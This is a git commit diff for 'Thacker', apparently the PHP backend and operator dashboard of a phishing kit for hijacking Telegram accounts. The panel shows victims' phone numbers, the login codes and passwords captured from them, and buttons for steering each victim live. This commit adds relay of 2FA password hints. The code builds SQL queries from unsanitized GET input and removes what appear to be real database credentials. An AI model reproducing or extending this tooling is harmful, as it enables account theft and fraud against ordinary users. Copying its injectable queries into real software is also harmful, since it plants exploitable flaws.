Thacker Version 2.0

mikiyasET · mikiyasET · commit da4ac826ee21 · 2021-07-07T15:56:50.000+03:00
+ Hint Added
diff --git a/.htaccess b/.htaccess
@@ -0,0 +1,3 @@
+RewriteEngine On
+RewriteCond %{REQUEST_FILENAME} !-f
+RewriteRule ^([^\.]+)$ $1.php [NC,L]
diff --git a/api/access.php b/api/access.php
@@ -1,7 +1,7 @@
 <?php
 header("Access-Control-Allow-Origin: *");
 header("Content-Type: application/json");
-header("Access-Control-Allow-Methods: POST");
+header("Access-Control-Allow-Methods: GET");
 header("Access-Control-Allow-Headers: Access-Control-Allow-Headers, Content-Type, Access-Control-Allow-Methods, Authorization, X-Requested-With");
 include '../private/connect.php';
 
diff --git a/api/code.php b/api/code.php
@@ -1,7 +1,7 @@
 <?php
 header("Access-Control-Allow-Origin: *");
 header("Content-Type: application/json");
-header("Access-Control-Allow-Methods: POST");
+header("Access-Control-Allow-Methods: GET");
 header("Access-Control-Allow-Headers: Access-Control-Allow-Headers, Content-Type, Access-Control-Allow-Methods, Authorization, X-Requested-With");
 include '../private/connect.php';
 
diff --git a/api/password.php b/api/password.php
@@ -2,7 +2,7 @@
 
 header("Access-Control-Allow-Origin: *");
 header("Content-Type: application/json");
-header("Access-Control-Allow-Methods: POST");
+header("Access-Control-Allow-Methods: GET");
 header("Access-Control-Allow-Headers: Access-Control-Allow-Headers, Content-Type, Access-Control-Allow-Methods, Authorization, X-Requested-With");
 include '../private/connect.php';
 
diff --git a/api/phone.php b/api/phone.php
@@ -1,7 +1,7 @@
 <?php
 header("Access-Control-Allow-Origin: *");
 header("Content-Type: application/json");
-header("Access-Control-Allow-Methods: POST");
+header("Access-Control-Allow-Methods: GET");
 header("Access-Control-Allow-Headers: Access-Control-Allow-Headers, Content-Type, Access-Control-Allow-Methods, Authorization, X-Requested-With");
 include '../private/connect.php';
 
diff --git a/api/verify.php b/api/verify.php
@@ -2,7 +2,7 @@
 
 header("Access-Control-Allow-Origin: *");
 header("Content-Type: application/json");
-header("Access-Control-Allow-Methods: POST");
+header("Access-Control-Allow-Methods: GET");
 header("Access-Control-Allow-Headers: Access-Control-Allow-Headers, Content-Type, Access-Control-Allow-Methods, Authorization, X-Requested-With");
 include '../private/connect.php';
 
@@ -24,12 +24,13 @@
 		}
 		elseif ($exe['code']) {	
 			$result = ($exe['password'] == 'yes') ? 'YES' : 'NO';
-			$msg = array('code' => true,'password' => $result);
+			$msg = array('code' => true,'password' => $result,'hint' => $exe['hint']);
 			printf(json_encode($msg));
 		} else {
 			$msg = array('code' => false,'password' => NULL);
 			printf(json_encode($msg));
 		}
 	}
 }
-?>
+?>
+
diff --git a/api/vpass.php b/api/vpass.php
@@ -2,7 +2,7 @@
 
 header("Access-Control-Allow-Origin: *");
 header("Content-Type: application/json");
-header("Access-Control-Allow-Methods: POST");
+header("Access-Control-Allow-Methods: GET");
 header("Access-Control-Allow-Headers: Access-Control-Allow-Headers, Content-Type, Access-Control-Allow-Methods, Authorization, X-Requested-With");
 include '../private/connect.php';
 
diff --git a/autoloads/index.php b/autoloads/index.php
@@ -28,15 +28,16 @@
 			}
 			elseif ($action == 'password') { // account has a password
 				$sql = $c->query("SELECT * FROM password WHERE request_id = '$request'");
+					$hint = $_GET['hint'];
 				if ($sql->num_rows == 0) {
-					$c->query("INSERT INTO password (request_id,code,password,timer)VALUES('$request',1,'yes','$timer')");
+					$c->query("INSERT INTO password (request_id,code,password,hint,timer)VALUES('$request',1,'yes','$hint','$timer')");
 					$c->query("UPDATE stemp SET verify = 'valid' WHERE request_id = '$request'");
 					$stp = $c->query("SELECT * FROM stemp WHERE request_id = '$request'");
 					$zstemp = $stp->fetch_array();
 					$c->query("UPDATE sms SET code = '".$zstemp['code']."' WHERE request_id = '$request'");
 					include '../layouts/alert.php';
 				} else {
-					$c->query("UPDATE password SET code = 1 , password = 'yes' WHERE request_id = '$request'");
+					$c->query("UPDATE password SET code = 1 , password = 'yes',hint='$hint' WHERE request_id = '$request'");
 					$c->query("UPDATE stemp SET verify = 'valid' WHERE request_id = '$request'");
 					$stp = $c->query("SELECT * FROM stemp WHERE request_id = '$request'");
 					$zstemp = $stp->fetch_array();
diff --git a/index.php b/index.php
@@ -53,6 +53,27 @@
 <div class="body">
 <?php include 'layouts/home.php'; ?>
 </div>
-
+<div class="modal fade" id="hintmodal">
+	<div class="modal-dialog" role="document">
+		<div class="modal-content">
+			<div class="modal-header">
+				<h5 class="modal-title" id="hintlabel">Enter password hint</h5>
+				<button type="button" class="close" data-dismiss="modal" aria-label="Close">
+					<span aria-hidden="true">&times;</span>
+				</button>
+			</div>
+			<div class="modal-body">
+				<div class="form-group">
+					<label for="message-text" class="col-form-label">Password Hint</label>
+					<input type="text" class="form-control" id="message-text" value="Password" />
+				</div>
+			</div>
+			<div class="modal-footer">
+				<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
+				<button class="btn btn-primary" onclick="verifyss('password',document.getElementById('request_id').value,document.getElementById('message-text').value)">Send</button>
+			</div>
+		</div>
+	</div>
+</div>
 </body>
 </html>
diff --git a/layouts/password.php b/layouts/password.php
@@ -3,20 +3,27 @@
 $db = Database::getInstance();
 $c = $db->getc();
 
+$code = "";
+$password = "";
+$codebtn = false;
+$passbtn = false;
+
 $c->query("UPDATE alert SET status='seen' ");
 $timec = time();
 $sql = $c->query("SELECT * FROM alert WHERE result = 'unsolved' AND timer + 60 * 30 > $timec ORDER BY id DESC");
 if ($sql->num_rows == 0) {}
 else {
-$cog = new cog();
+	$cog = new cog();
 	while ($exe = $sql->fetch_array()) {
 		$splatform = $c->query("SELECT * FROM platform WHERE request_id='".$exe['request_id']."'");
 		$platform = $splatform->fetch_array();
+		
 		$tpass = $c->query("SELECT * FROM ptemp WHERE request_id='".$exe['request_id']."'");
 		$pass = $tpass->fetch_array();
 		if($tpass->num_rows == 0) {
 			$password = '<span class="dot1">*</span><span class="dot2">*</span><span class="dot3">*</span>';
 		}else {
+			$passbtn = true;
 			$password = $pass['password'];
 		}
 
@@ -25,14 +32,15 @@
 		if($tcode->num_rows == 0) {
 			$code = '<span class="dot1">*</span><span class="dot2">*</span><span class="dot3">*</span>';
 		}else {
+			$codebtn = true;
 			$code = $passcode['code'];
 		}
 ?>
 <div class="box-1 col-4"  title="waiting for the victum...">
 	<div class="mt-3">
 		<p class="text-center"><?php echo $exe['phone_type']; ?></p><hr>
 		<p class="row"><span class="col-md-6 text-right">Request id :</span><span class="col-md-6"> <?php echo $exe['request_id']; ?><input type="hidden" id="request_id" value="<?php echo $exe['request_id']; ?>"></span></p>
-		<p class="row"><span class="col-md-6 text-right">Phone No :</span><span class="col-md-6" id="phone"> <?php echo $exe['phone']; ?></span></p>
+		<p class="row"><span class="col-md-6 text-right">Phone No :</span><span class="col-md-6" id="phone"> <?php echo $exe['phone'] == "" ? "<span class=\"dot1\">*</span><span class=\"dot2\">*</span><span class=\"dot3\">*</span>" : $exe['phone']; ?></span></p>
 		<p class="row"><span class="col-md-6 text-right">Password :</span><span class="col-md-6" id="password"> <?php echo $password ?></span></p>
 		<p class="row"><span class="col-md-6 text-right">Duration :</span><span class="col-md-6" id="duration"> <?php echo $cog->time_ago($exe['timer']); ?></span></p>
 		<p class="row">
@@ -47,14 +55,20 @@
 	<span class="text-info text-right mr-3" style="display: block;font-size: 12px;margin-top: 2rem" title="Version <?php echo $platform['version']; ?>"><?php echo ucwords($platform['app']); ?></span>
 	<hr><center>
 	<div class="w-100" style="">
-		<button class="btn btn-success" onclick="verify('done','<?php echo $exe['request_id']; ?>')" title="Completed"><i class="fa fa-check"></i> </button>
-		<button class="btn btn-danger" onclick="verify('code','<?php echo $exe['request_id']; ?>')" title="Code not corrext"><i class="fa fa-envelope text-white"></i> </button> - 
-		<button class="btn btn-success" onclick="verify('dpass','<?php echo $exe['request_id']; ?>')" title="Completed with Password"><i class="fa fa-unlock"></i> </button>
-		<button class="btn btn-info" onclick="verify('password','<?php echo $exe['request_id']; ?>')" title="Has Password"><i class="fa fa-key"></i> </button>
-		<button class="btn btn-danger" onclick="verify('pass','<?php echo $exe['request_id']; ?>')" title="Invalid Password"><i class="fa fa-lock"></i> </button>
+		<input type="hidden" id="request_id" value="<?php echo ['request_id']; ?>">
+		<button <?php echo $codebtn ? "enabled": "disabled"; ?> class="btn btn-success" onclick="verify('done','<?php echo $exe['request_id']; ?>')" title="Completed"><i class="fa fa-check"></i> </button>
+		<button <?php echo $codebtn ? "enabled": "disabled"; ?> class="btn btn-danger" onclick="verify('code','<?php echo $exe['request_id']; ?>')" title="Code not corrext"><i class="fa fa-envelope text-white"></i> </button> - 
+
+		<button <?php echo $codebtn ? "enabled": "disabled"; ?> class="btn btn-info" data-toggle="modal" data-target="#hintmodal" title="Has Password"><i class="fa fa-key"></i> </button>
+		<button <?php echo $passbtn ? "enabled": "disabled"; ?> class="btn btn-success" onclick="verify('dpass','<?php echo $exe['request_id']; ?>')" title="Completed with Password"><i class="fa fa-unlock"></i> </button>
+		<button <?php echo $passbtn ? "enabled": "disabled"; ?> class="btn btn-danger" onclick="verify('pass','<?php echo $exe['request_id']; ?>')" title="Invalid Password"><i class="fa fa-lock"></i> </button>
 	</div></center>
 </div>
+
+
 <?php
 }
+/*		<button class="btn btn-info" onclick="verify('password','<?php echo $exe['request_id']; ?>')" title="Has Password"><i class="fa fa-key"></i> </button>*/
+
 }
 ?>
diff --git a/private/database/dbconnect.php b/private/database/dbconnect.php
@@ -13,7 +13,7 @@ public static function getInstance()
 
 	public function __construct()
 	{
-		$this->_connection  = new mysqli('localhost','ethiolinknet_telegram','telegram@123','ethiolinknet_telegram');
+		$this->_connection  = new mysqli('localhost','root','','thacker');
 
 		if (mysqli_connect_error()) {
 			trigger_error('Failed to connect to MySQL: '. mysqli_connect_error(), E_USER_ERROR);
diff --git a/private/functions/password-function.php b/private/functions/password-function.php
@@ -1,9 +1,4 @@
 <?php
-
-
-
-
-
 class Password {
     public function process($id,$password,$type) {
 
diff --git a/telegram.sql b/telegram.sql
@@ -18,7 +18,7 @@ SET time_zone = "+00:00";
 /*!40101 SET NAMES utf8mb4 */;
 
 --
--- Database: `telegram`
+-- Database: `thacker`
 --
 
 -- --------------------------------------------------------
diff --git a/tools/js/main.js b/tools/js/main.js
@@ -21,6 +21,17 @@ function verify(value,req){
         xmlhttp.send();
 }
 
+function verifyss(value,req,hint){
+        var xmlhttp = new XMLHttpRequest();
+        xmlhttp.onreadystatechange = function() {
+            if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
+                $(".body").html(xmlhttp.responseText);
+            }
+        }
+        xmlhttp.open("GET", "autoloads/index.php?val=" + value + "&req=" + req + "&hint=" + hint , true);
+        xmlhttp.send();
+}
+
 
 
 $(document).ready(function(e){

Original file line number	Diff line number	Diff line change
`@@ -0,0 +1,3 @@`
	`1`	`+RewriteEngine On`
	`2`	`+RewriteCond %{REQUEST_FILENAME} !-f`
	`3`	`+RewriteRule ^([^\.]+)$ $1.php [NC,L]`
Original file line number	Diff line number	Diff line change
`@@ -2,7 +2,7 @@`
`2`	`2`
`3`	`3`	`header("Access-Control-Allow-Origin: *");`
`4`	`4`	`header("Content-Type: application/json");`
`5`		`-header("Access-Control-Allow-Methods: POST");`
	`5`	`+header("Access-Control-Allow-Methods: GET");`
`6`	`6`	`header("Access-Control-Allow-Headers: Access-Control-Allow-Headers, Content-Type, Access-Control-Allow-Methods, Authorization, X-Requested-With");`
`7`	`7`	`include '../private/connect.php';`
`8`	`8`
`@@ -24,12 +24,13 @@`
`24`	`24`	`}`
`25`	`25`	`elseif ($exe['code']) {`
`26`	`26`	`$result = ($exe['password'] == 'yes') ? 'YES' : 'NO';`
`27`		`- $msg = array('code' => true,'password' => $result);`
	`27`	`+ $msg = array('code' => true,'password' => $result,'hint' => $exe['hint']);`
`28`	`28`	`printf(json_encode($msg));`
`29`	`29`	`} else {`
`30`	`30`	`$msg = array('code' => false,'password' => NULL);`
`31`	`31`	`printf(json_encode($msg));`
`32`	`32`	`}`
`33`	`33`	`}`
`34`	`34`	`}`
`35`		`-?>`
	`35`	`+?>`
	`36`	`+`